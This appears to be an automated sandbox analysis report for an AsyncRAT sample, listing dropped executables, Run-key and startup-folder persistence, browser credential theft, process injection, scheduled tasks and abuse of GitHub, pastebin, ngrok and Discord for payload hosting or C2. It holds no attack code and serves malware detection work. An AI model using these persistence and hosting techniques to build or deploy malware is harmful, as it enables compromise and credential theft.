asyncrat | 672ad2d52af206cc63cebe2c801181d3b406aae5891cc57bdaafd5eea3d61fe6

System Information Discovery

description	ioc	Process
Key value queried	\REGISTRY\USER\S-1-5-21-4089630652-1596403869-279772308-1000\Control Panel\International\Geo\Nation	._cache_Synaptics.exe
Key value queried	\REGISTRY\USER\S-1-5-21-4089630652-1596403869-279772308-1000\Control Panel\International\Geo\Nation	comctl32.exe
Key value queried	\REGISTRY\USER\S-1-5-21-4089630652-1596403869-279772308-1000\Control Panel\International\Geo\Nation	Loader.exe
Key value queried	\REGISTRY\USER\S-1-5-21-4089630652-1596403869-279772308-1000\Control Panel\International\Geo\Nation	comctl32.exe
Key value queried	\REGISTRY\USER\S-1-5-21-4089630652-1596403869-279772308-1000\Control Panel\International\Geo\Nation	New Text Document mod.exe
Key value queried	\REGISTRY\USER\S-1-5-21-4089630652-1596403869-279772308-1000\Control Panel\International\Geo\Nation	._cache_New Text Document mod.exe
Key value queried	\REGISTRY\USER\S-1-5-21-4089630652-1596403869-279772308-1000\Control Panel\International\Geo\Nation	SecurityHealthHost.exe
Key value queried	\REGISTRY\USER\S-1-5-21-4089630652-1596403869-279772308-1000\Control Panel\International\Geo\Nation	Synaptics.exe
Key value queried	\REGISTRY\USER\S-1-5-21-4089630652-1596403869-279772308-1000\Control Panel\International\Geo\Nation	NewApp.exe

Drops startup file 2 IoCs

description	ioc	Process
File opened for modification	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\System.lnk	Loader.exe
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\System.lnk	Loader.exe

Executes dropped EXE 54 IoCs

pid	Process
4292	._cache_New Text Document mod.exe
1996	Synaptics.exe
2736	._cache_Synaptics.exe
5112	NewApp.exe
988	Updater.exe
2636	4909_7122.exe
1984	fuck.exe
2556	remcos_a2.exe
1112	yuksefyj.exe
1200	4909_7122.exe
3820	Updater.exe
4816	lopads.exe
3032	Wallet-PrivateKey.Pdf.exe
1912	Pdf%20Reader.exe
4756	ogpayload.exe
1768	Client-base.exe
3300	svchost.exe
996	comctl32.exe
1864	Servers.exe
2972	FXServer.exe
4044	mac.exe
2452	Loader.exe
1908	Windows Defender SmartScreen (32 bit).exe
4960	ciscotest.exe
4856	Discord.exe
3284	SecurityHealthHost.exe
5264	comctl32.exe
4292	._cache_New Text Document mod.exe
1996	Synaptics.exe
2736	._cache_Synaptics.exe
5112	NewApp.exe
988	Updater.exe
2636	4909_7122.exe
1984	fuck.exe
2556	remcos_a2.exe
1112	yuksefyj.exe
1200	4909_7122.exe
3820	Updater.exe
4816	lopads.exe
3032	Wallet-PrivateKey.Pdf.exe
1912	Pdf%20Reader.exe
4756	ogpayload.exe
1768	Client-base.exe
3300	svchost.exe
996	comctl32.exe
1864	Servers.exe
2972	FXServer.exe
4044	mac.exe
2452	Loader.exe
1908	Windows Defender SmartScreen (32 bit).exe
4960	ciscotest.exe
4856	Discord.exe
3284	SecurityHealthHost.exe
5264	comctl32.exe

Reads user/profile data of web browsers 3 TTPs
Infostealers often target stored browser data, which can include saved credentials etc.
spyware stealer

Data from Local System
T1005

Credentials In Files
T1552.001

Credentials from Web Browsers
T1555.003

Adds Run key to start application 2 TTPs 3 IoCs

persistence

Registry Run Keys / Startup Folder

T1547.001

Modify Registry

T1112

description	ioc	Process
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\Windows\CurrentVersion\Run\Synaptics Pointing Device Driver = "C:\\ProgramData\\Synaptics\\Synaptics.exe"	New Text Document mod.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-4089630652-1596403869-279772308-1000\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\NordicVPN = "C:\\Users\\Admin\\Documents\\NordVPNnetworkTAP\\Lang\\RemotePCPrinter.exe"	4909_7122.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-4089630652-1596403869-279772308-1000\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\Microsoft-cb832607b4 = "C:\\Program Files (x86)\\Microsoft\\Temp\\Microsoft-cb832607b4.exe"	FXServer.exe

Legitimate hosting services abused for malware hosting/C2 1 TTPs 27 IoCs

Web Service

T1102

flow	ioc
129	raw.githubusercontent.com
30	raw.githubusercontent.com
66	pastebin.com
136	raw.githubusercontent.com
157	raw.githubusercontent.com
191	discord.com
119	2.tcp.eu.ngrok.io
154	raw.githubusercontent.com
156	raw.githubusercontent.com
21	bitbucket.org
153	raw.githubusercontent.com
269	2.tcp.eu.ngrok.io
76	raw.githubusercontent.com
31	raw.githubusercontent.com
101	0.tcp.in.ngrok.io
152	raw.githubusercontent.com
10	bitbucket.org
77	raw.githubusercontent.com
92	raw.githubusercontent.com
155	raw.githubusercontent.com
186	discord.com
61	raw.githubusercontent.com
67	pastebin.com
163	2.tcp.eu.ngrok.io
246	0.tcp.in.ngrok.io
267	raw.githubusercontent.com
11	bitbucket.org

Looks up external IP address via web service 6 IoCs

Uses a legitimate IP lookup service to find the infected system's external IP.

flow	ioc
179	ipinfo.io
196	api.ipify.org
257	ip-api.com
95	ip-api.com
171	api.ipify.org
173	api.ipify.org

Maps connected drives based on registry 3 TTPs 2 IoCs

Disk information is often read in order to detect sandboxing environments.

Query Registry

Peripheral Device Discovery

T1120

System Information Discovery

description	ioc	Process
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\disk\Enum	FXServer.exe
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\disk\Enum\0	FXServer.exe

Power Settings 1 TTPs 12 IoCs

powercfg controls all configurable power system settings on a Windows system and can be abused to prevent an infected host from locking or shutting down.

persistence

Power Settings

T1653

pid	Process
3492	powercfg.exe
1628	powercfg.exe
1624	powercfg.exe
1908	powercfg.exe
6020	powercfg.exe
6012	powercfg.exe
6004	powercfg.exe
5044	powercfg.exe
728	powercfg.exe
4976	powercfg.exe
5044	powercfg.exe
6028	powercfg.exe

Drops file in System32 directory 6 IoCs

description	ioc	Process
File created	C:\Windows\System32\System-cb832607b4.exe	FXServer.exe
File created	C:\Windows\SysWOW64\$LMX-cb832607b4.exe	FXServer.exe
File opened for modification	C:\Windows\system32\MRT.exe	yuksefyj.exe
File created	C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive	powershell.exe
File created	C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log	powershell.exe
File opened for modification	C:\Windows\system32\MRT.exe	Updater.exe

Suspicious use of SetThreadContext 8 IoCs

description	pid	Process	procid_target
PID 3820 set thread context of 2984	3820	Updater.exe	161
PID 3820 set thread context of 3316	3820	Updater.exe	166
PID 2972 set thread context of 5636	2972	FXServer.exe	222
PID 5636 set thread context of 5728	5636	svchost.exe	264
PID 3820 set thread context of 2984	3820	Updater.exe	161
PID 3820 set thread context of 3316	3820	Updater.exe	166
PID 2972 set thread context of 5636	2972	FXServer.exe	222
PID 5636 set thread context of 5728	5636	svchost.exe	264

UPX packed file 24 IoCs

Detects executables packed with UPX/modified UPX open source packer.

upx

resource	yara_rule
behavioral2/memory/3316-456-0x0000000140000000-0x0000000140848000-memory.dmp	upx
behavioral2/memory/3316-460-0x0000000140000000-0x0000000140848000-memory.dmp	upx
behavioral2/memory/3316-458-0x0000000140000000-0x0000000140848000-memory.dmp	upx
behavioral2/memory/3316-466-0x0000000140000000-0x0000000140848000-memory.dmp	upx
behavioral2/memory/3316-465-0x0000000140000000-0x0000000140848000-memory.dmp	upx
behavioral2/memory/3316-463-0x0000000140000000-0x0000000140848000-memory.dmp	upx
behavioral2/memory/3316-462-0x0000000140000000-0x0000000140848000-memory.dmp	upx
behavioral2/memory/3316-464-0x0000000140000000-0x0000000140848000-memory.dmp	upx
behavioral2/memory/3316-455-0x0000000140000000-0x0000000140848000-memory.dmp	upx
behavioral2/memory/3316-459-0x0000000140000000-0x0000000140848000-memory.dmp	upx
behavioral2/memory/3316-457-0x0000000140000000-0x0000000140848000-memory.dmp	upx
behavioral2/memory/3316-454-0x0000000140000000-0x0000000140848000-memory.dmp	upx
behavioral2/memory/3316-456-0x0000000140000000-0x0000000140848000-memory.dmp	upx
behavioral2/memory/3316-460-0x0000000140000000-0x0000000140848000-memory.dmp	upx
behavioral2/memory/3316-458-0x0000000140000000-0x0000000140848000-memory.dmp	upx
behavioral2/memory/3316-466-0x0000000140000000-0x0000000140848000-memory.dmp	upx
behavioral2/memory/3316-465-0x0000000140000000-0x0000000140848000-memory.dmp	upx
behavioral2/memory/3316-463-0x0000000140000000-0x0000000140848000-memory.dmp	upx
behavioral2/memory/3316-462-0x0000000140000000-0x0000000140848000-memory.dmp	upx
behavioral2/memory/3316-464-0x0000000140000000-0x0000000140848000-memory.dmp	upx
behavioral2/memory/3316-455-0x0000000140000000-0x0000000140848000-memory.dmp	upx
behavioral2/memory/3316-459-0x0000000140000000-0x0000000140848000-memory.dmp	upx
behavioral2/memory/3316-457-0x0000000140000000-0x0000000140848000-memory.dmp	upx
behavioral2/memory/3316-454-0x0000000140000000-0x0000000140848000-memory.dmp	upx

Drops file in Program Files directory 1 IoCs

description	ioc	Process
File created	C:\Program Files (x86)\Microsoft\Temp\Microsoft-cb832607b4.exe	FXServer.exe

Launches sc.exe 14 IoCs

Sc.exe is a Windows utlilty to control services on the system.

pid	Process
740	sc.exe
1960	sc.exe
3240	sc.exe
4744	sc.exe
1440	sc.exe
3056	sc.exe
3872	sc.exe
2336	sc.exe
4724	sc.exe
2240	sc.exe
3028	sc.exe
3308	sc.exe
3400	sc.exe
3448	sc.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Program crash 6 IoCs

pid	pid_target	Process	procid_target
4300	996	WerFault.exe	179
5160	3300	WerFault.exe	173
5548	5264	WerFault.exe	211
4300	996	WerFault.exe	179
5160	3300	WerFault.exe	173
5548	5264	WerFault.exe	211

System Location Discovery: System Language Discovery 1 TTPs 26 IoCs

Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

discovery

System Language Discovery

T1614.001

description	ioc	Process
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	Wallet-PrivateKey.Pdf.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	Pdf%20Reader.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	ciscotest.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	chcp.com
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	PING.EXE
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	powershell.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	fuck.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	svchost.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	comctl32.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	schtasks.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	New Text Document mod.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	4909_7122.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	powershell.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	schtasks.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	Discord.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	PING.EXE
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	comctl32.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	NewApp.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	Updater.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	remcos_a2.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	ogpayload.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	schtasks.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	chcp.com
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	Synaptics.exe

System Network Configuration Discovery: Internet Connection Discovery 1 TTPs 2 IoCs

Adversaries may check for Internet connectivity on compromised systems.

discovery

Internet Connection Discovery

T1016.001

pid	Process
3140	PING.EXE
5000	PING.EXE

Checks processor information in registry 2 TTPs 3 IoCs

Processor information is often read in order to detect sandboxing environments.

Query Registry

System Information Discovery

description	ioc	Process
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\CentralProcessor\0	EXCEL.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~MHz	EXCEL.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString	EXCEL.EXE

Delays execution with timeout.exe 1 IoCs

evasion

pid	Process
4564	timeout.exe

Enumerates system info in registry 2 TTPs 5 IoCs

Query Registry

System Information Discovery

description	ioc	Process
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemManufacturer	FXServer.exe
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\BIOS	EXCEL.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemFamily	EXCEL.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemSKU	EXCEL.EXE
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS	FXServer.exe

Kills process with taskkill 1 IoCs

evasion

pid	Process
5616	taskkill.exe

Modifies data under HKEY_USERS 50 IoCs

description	ioc	Process
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople\CRLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust\CTLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust\CRLs	powershell.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\ProxyBypass = "1"	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA\CRLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople\Certificates	powershell.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\IntranetName = "1"	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA\Certificates	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust\CTLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot\CTLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople\Certificates	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\ROOT	explorer.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed\CTLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed\Certificates	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root\CTLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root\CRLs	explorer.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root\Certificates	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust\CRLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root\Certificates	explorer.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed\CRLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople\CRLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople\CTLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople\CTLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust\Certificates	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed\Certificates	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed\CTLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root\CTLs	explorer.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA\CTLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA\Certificates	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot\CRLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\WinTrust\Trust Providers\Software Publishing	powershell.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\AutoDetect = "0"	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root\CRLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot\Certificates	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust\Certificates	powershell.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\UNCAsIntranet = "1"	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA\CRLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA\CTLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed\CRLs	powershell.exe

Modifies registry class 2 IoCs

description	ioc	Process
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\WOW6432Node\CLSID\{1f3427c8-5c10-4210-aa03-2ee45287d668}\Instance\	New Text Document mod.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\WOW6432Node\CLSID\{1f3427c8-5c10-4210-aa03-2ee45287d668}\Instance\	Synaptics.exe

Runs ping.exe 1 TTPs 2 IoCs

Remote System Discovery

T1018

pid	Process
3140	PING.EXE
5000	PING.EXE

Scheduled Task/Job: Scheduled Task 1 TTPs 8 IoCs

Schtasks is often used by malware for persistence or to perform post-infection execution.

persistence execution

Scheduled Task

pid	Process
2460	schtasks.exe
3064	schtasks.exe
4760	schtasks.exe
4816	schtasks.exe
380	SCHTASKS.exe
5404	schtasks.exe
2452	schtasks.exe
4988	schtasks.exe

Suspicious behavior: AddClipboardFormatListener 2 IoCs

pid	Process
2604	EXCEL.EXE
2604	EXCEL.EXE

Suspicious behavior: EnumeratesProcesses 64 IoCs

pid	Process
2636	4909_7122.exe
2636	4909_7122.exe
2636	4909_7122.exe
2636	4909_7122.exe
2636	4909_7122.exe
2636	4909_7122.exe
2636	4909_7122.exe
2636	4909_7122.exe
2636	4909_7122.exe
2636	4909_7122.exe
2636	4909_7122.exe
2636	4909_7122.exe
2636	4909_7122.exe
2636	4909_7122.exe
2636	4909_7122.exe
2636	4909_7122.exe
2636	4909_7122.exe
2636	4909_7122.exe
2636	4909_7122.exe
2636	4909_7122.exe
2636	4909_7122.exe
2636	4909_7122.exe
2636	4909_7122.exe
2636	4909_7122.exe
2636	4909_7122.exe
2636	4909_7122.exe
2636	4909_7122.exe
2636	4909_7122.exe
2636	4909_7122.exe
2636	4909_7122.exe
2636	4909_7122.exe
2636	4909_7122.exe
2636	4909_7122.exe
2636	4909_7122.exe
2636	4909_7122.exe
2636	4909_7122.exe
2636	4909_7122.exe
2636	4909_7122.exe
2636	4909_7122.exe
2636	4909_7122.exe
2636	4909_7122.exe
2636	4909_7122.exe
2636	4909_7122.exe
2636	4909_7122.exe
2636	4909_7122.exe
2636	4909_7122.exe
2636	4909_7122.exe
2636	4909_7122.exe
2636	4909_7122.exe
2636	4909_7122.exe
2636	4909_7122.exe
2636	4909_7122.exe
2636	4909_7122.exe
2636	4909_7122.exe
2636	4909_7122.exe
2636	4909_7122.exe
2636	4909_7122.exe
2636	4909_7122.exe
2636	4909_7122.exe
2636	4909_7122.exe
2636	4909_7122.exe
2636	4909_7122.exe
2636	4909_7122.exe
2636	4909_7122.exe

Suspicious use of AdjustPrivilegeToken 64 IoCs

description	pid	Process
Token: SeDebugPrivilege	4292	._cache_New Text Document mod.exe
Token: SeDebugPrivilege	2736	._cache_Synaptics.exe
Token: SeDebugPrivilege	4376	powershell.exe
Token: SeDebugPrivilege	4856	powershell.exe
Token: SeDebugPrivilege	4448	powershell.exe
Token: SeDebugPrivilege	5112	NewApp.exe
Token: SeDebugPrivilege	988	Updater.exe
Token: SeShutdownPrivilege	3492	powercfg.exe
Token: SeCreatePagefilePrivilege	3492	powercfg.exe
Token: SeShutdownPrivilege	1628	powercfg.exe
Token: SeCreatePagefilePrivilege	1628	powercfg.exe
Token: SeShutdownPrivilege	728	powercfg.exe
Token: SeCreatePagefilePrivilege	728	powercfg.exe
Token: SeShutdownPrivilege	5044	powercfg.exe
Token: SeCreatePagefilePrivilege	5044	powercfg.exe
Token: SeDebugPrivilege	3068	powershell.exe
Token: SeLockMemoryPrivilege	3316	explorer.exe
Token: SeShutdownPrivilege	1624	powercfg.exe
Token: SeCreatePagefilePrivilege	1624	powercfg.exe
Token: SeShutdownPrivilege	4976	powercfg.exe
Token: SeCreatePagefilePrivilege	4976	powercfg.exe
Token: SeShutdownPrivilege	5044	powercfg.exe
Token: SeCreatePagefilePrivilege	5044	powercfg.exe
Token: SeShutdownPrivilege	1908	powercfg.exe
Token: SeCreatePagefilePrivilege	1908	powercfg.exe
Token: SeDebugPrivilege	3032	Wallet-PrivateKey.Pdf.exe
Token: SeDebugPrivilege	1768	Client-base.exe
Token: SeDebugPrivilege	4756	ogpayload.exe
Token: SeDebugPrivilege	996	comctl32.exe
Token: SeDebugPrivilege	1864	Servers.exe
Token: SeDebugPrivilege	1908	Windows Defender SmartScreen (32 bit).exe
Token: SeDebugPrivilege	2452	Loader.exe
Token: SeDebugPrivilege	4044	mac.exe
Token: SeDebugPrivilege	1204	powershell.exe
Token: SeIncreaseQuotaPrivilege	4044	mac.exe
Token: SeSecurityPrivilege	4044	mac.exe
Token: SeTakeOwnershipPrivilege	4044	mac.exe
Token: SeLoadDriverPrivilege	4044	mac.exe
Token: SeSystemProfilePrivilege	4044	mac.exe
Token: SeSystemtimePrivilege	4044	mac.exe
Token: SeProfSingleProcessPrivilege	4044	mac.exe
Token: SeIncBasePriorityPrivilege	4044	mac.exe
Token: SeCreatePagefilePrivilege	4044	mac.exe
Token: SeBackupPrivilege	4044	mac.exe
Token: SeRestorePrivilege	4044	mac.exe
Token: SeShutdownPrivilege	4044	mac.exe
Token: SeDebugPrivilege	4044	mac.exe
Token: SeSystemEnvironmentPrivilege	4044	mac.exe
Token: SeRemoteShutdownPrivilege	4044	mac.exe
Token: SeUndockPrivilege	4044	mac.exe
Token: SeManageVolumePrivilege	4044	mac.exe
Token: 33	4044	mac.exe
Token: 34	4044	mac.exe
Token: 35	4044	mac.exe
Token: 36	4044	mac.exe
Token: SeIncreaseQuotaPrivilege	4044	mac.exe
Token: SeSecurityPrivilege	4044	mac.exe
Token: SeTakeOwnershipPrivilege	4044	mac.exe
Token: SeLoadDriverPrivilege	4044	mac.exe
Token: SeSystemProfilePrivilege	4044	mac.exe
Token: SeSystemtimePrivilege	4044	mac.exe
Token: SeProfSingleProcessPrivilege	4044	mac.exe
Token: SeIncBasePriorityPrivilege	4044	mac.exe
Token: SeCreatePagefilePrivilege	4044	mac.exe

Suspicious use of FindShellTrayWindow 2 IoCs

pid	Process
5728	svchost.exe
5728	svchost.exe

Suspicious use of SetWindowsHookEx 28 IoCs

pid	Process
2604	EXCEL.EXE
2604	EXCEL.EXE
2604	EXCEL.EXE
2604	EXCEL.EXE
2604	EXCEL.EXE
2604	EXCEL.EXE
2604	EXCEL.EXE
2604	EXCEL.EXE
1984	fuck.exe
2556	remcos_a2.exe
1768	Client-base.exe
996	comctl32.exe
1908	Windows Defender SmartScreen (32 bit).exe
5264	comctl32.exe
2604	EXCEL.EXE
2604	EXCEL.EXE
2604	EXCEL.EXE
2604	EXCEL.EXE
2604	EXCEL.EXE
2604	EXCEL.EXE
2604	EXCEL.EXE
2604	EXCEL.EXE
1984	fuck.exe
2556	remcos_a2.exe
1768	Client-base.exe
996	comctl32.exe
1908	Windows Defender SmartScreen (32 bit).exe
5264	comctl32.exe

Suspicious use of WriteProcessMemory 64 IoCs

description	pid	Process	procid_target
PID 1112 wrote to memory of 4292	1112	New Text Document mod.exe	82
PID 1112 wrote to memory of 4292	1112	New Text Document mod.exe	82
PID 1112 wrote to memory of 1996	1112	New Text Document mod.exe	84
PID 1112 wrote to memory of 1996	1112	New Text Document mod.exe	84
PID 1112 wrote to memory of 1996	1112	New Text Document mod.exe	84
PID 1996 wrote to memory of 2736	1996	Synaptics.exe	85
PID 1996 wrote to memory of 2736	1996	Synaptics.exe	85
PID 4292 wrote to memory of 5112	4292	._cache_New Text Document mod.exe	90
PID 4292 wrote to memory of 5112	4292	._cache_New Text Document mod.exe	90
PID 4292 wrote to memory of 5112	4292	._cache_New Text Document mod.exe	90
PID 2736 wrote to memory of 988	2736	._cache_Synaptics.exe	94
PID 2736 wrote to memory of 988	2736	._cache_Synaptics.exe	94
PID 2736 wrote to memory of 988	2736	._cache_Synaptics.exe	94
PID 2736 wrote to memory of 2636	2736	._cache_Synaptics.exe	97
PID 2736 wrote to memory of 2636	2736	._cache_Synaptics.exe	97
PID 2736 wrote to memory of 2636	2736	._cache_Synaptics.exe	97
PID 2736 wrote to memory of 1984	2736	._cache_Synaptics.exe	98
PID 2736 wrote to memory of 1984	2736	._cache_Synaptics.exe	98
PID 2736 wrote to memory of 1984	2736	._cache_Synaptics.exe	98
PID 2736 wrote to memory of 2556	2736	._cache_Synaptics.exe	99
PID 2736 wrote to memory of 2556	2736	._cache_Synaptics.exe	99
PID 2736 wrote to memory of 2556	2736	._cache_Synaptics.exe	99
PID 4292 wrote to memory of 1112	4292	._cache_New Text Document mod.exe	100
PID 4292 wrote to memory of 1112	4292	._cache_New Text Document mod.exe	100
PID 5112 wrote to memory of 4376	5112	NewApp.exe	101
PID 5112 wrote to memory of 4376	5112	NewApp.exe	101
PID 5112 wrote to memory of 4376	5112	NewApp.exe	101
PID 988 wrote to memory of 4856	988	Updater.exe	103
PID 988 wrote to memory of 4856	988	Updater.exe	103
PID 988 wrote to memory of 4856	988	Updater.exe	103
PID 2636 wrote to memory of 1200	2636	4909_7122.exe	107
PID 2636 wrote to memory of 1200	2636	4909_7122.exe	107
PID 2636 wrote to memory of 1200	2636	4909_7122.exe	107
PID 2636 wrote to memory of 1200	2636	4909_7122.exe	107
PID 2636 wrote to memory of 1200	2636	4909_7122.exe	107
PID 1960 wrote to memory of 2296	1960	cmd.exe	117
PID 1960 wrote to memory of 2296	1960	cmd.exe	117
PID 5112 wrote to memory of 4816	5112	NewApp.exe	143
PID 5112 wrote to memory of 4816	5112	NewApp.exe	143
PID 3388 wrote to memory of 2908	3388	cmd.exe	149
